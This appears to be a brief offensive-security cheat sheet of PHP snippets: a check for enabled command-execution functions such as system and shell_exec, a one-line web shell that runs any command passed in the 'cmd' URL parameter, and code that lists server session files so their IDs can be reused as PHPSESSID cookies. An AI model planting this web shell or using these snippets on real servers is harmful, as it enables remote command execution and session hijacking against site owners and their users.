Php
// See which functions are enabled
<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>// Some code
<?php system($_GET['cmd']);?>// get all Sessions (to use in cookie PHPSESSID
<?php
print_r(scandir(session_save_path()));
?>
Last updated